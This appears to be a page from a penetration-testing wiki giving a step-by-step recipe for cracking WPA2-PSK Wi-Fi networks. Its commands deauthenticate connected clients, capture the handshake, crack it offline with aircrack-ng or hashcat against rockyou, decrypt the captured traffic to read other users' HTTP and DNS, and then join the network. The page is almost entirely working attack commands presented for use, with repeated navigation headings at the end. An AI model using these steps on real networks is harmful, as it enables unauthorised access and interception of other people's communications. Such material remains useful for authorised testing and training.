WPA2

Overview

WPA2-PSK authentication uses a 4-way handshake to derive session keys. By forcing a client to reconnect (deauth attack), the handshake can be captured and cracked offline against a wordlist. No active session or decryption of live traffic is needed, only the captured handshake file.

Cracking WPA2

1. Find the WPA2 Network

Scan all bands to identify the target:

airodump-ng --band abg <WIFI-INTERFACE>

2. Focus on Target Network

Capture traffic and write to file:

airodump-ng -w wpa2-capture --bssid <BSSID> --channel <CHANNEL> <WIFI-INTERFACE>

Keep this running, handshake will be captured when a client reconnects.

3. Deauthenticate a Client

Force a connected client to disconnect and trigger a new handshake:

sudo aireplay-ng -0 5 -c <CLIENT-MAC> -a <BSSID> <WIFI-INTERFACE>

airodump-ng will display WPA handshake: <BSSID> in the top right when captured.

4. Crack the Handshake

Run a dictionary attack with aircrack-ng:

sudo aircrack-ng -w <WORDLIST> wpa2-capture-01.cap

Or with hashcat (mode 22000, recommended):

hcxpcapngtool wpa2-capture-01.cap -o hash.22000
hashcat -a 0 -m 22000 hash.22000 <WORDLIST> --force

Common wordlists: /usr/share/wordlists/rockyou.txt

Decrypt Captured Traffic (airdecap-ng)

With the handshake and the cracked password, decrypt all post-handshake traffic to inspect plaintext communications:

airdecap-ng -e <SSID> -p <PASSWORD> wpa2-capture-01.cap

Opens a new file wpa2-capture-01-dec.cap. Open in Wireshark to inspect HTTP, DNS, and other traffic from connected clients.

WPA2 Connection

wpa_supplicant config:

network={
    ssid="SSID"
    psk="password"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}

Connect:

sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -i wlan0 -c /tmp/client.conf

Get an IP address:

sudo dhclient wlan0 -v

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Cracking WPA2

1. Find the WPA2 Network

2. Focus on Target Network

3. Deauthenticate a Client

4. Crack the Handshake

Decrypt Captured Traffic (airdecap-ng)

WPA2 Connection

​Overview

​Cracking WPA2

​1. Find the WPA2 Network

​2. Focus on Target Network

​3. Deauthenticate a Client

​4. Crack the Handshake

​Decrypt Captured Traffic (airdecap-ng)

​WPA2 Connection

Overview

Cracking WPA2

1. Find the WPA2 Network

2. Focus on Target Network

3. Deauthenticate a Client

4. Crack the Handshake

Decrypt Captured Traffic (airdecap-ng)

WPA2 Connection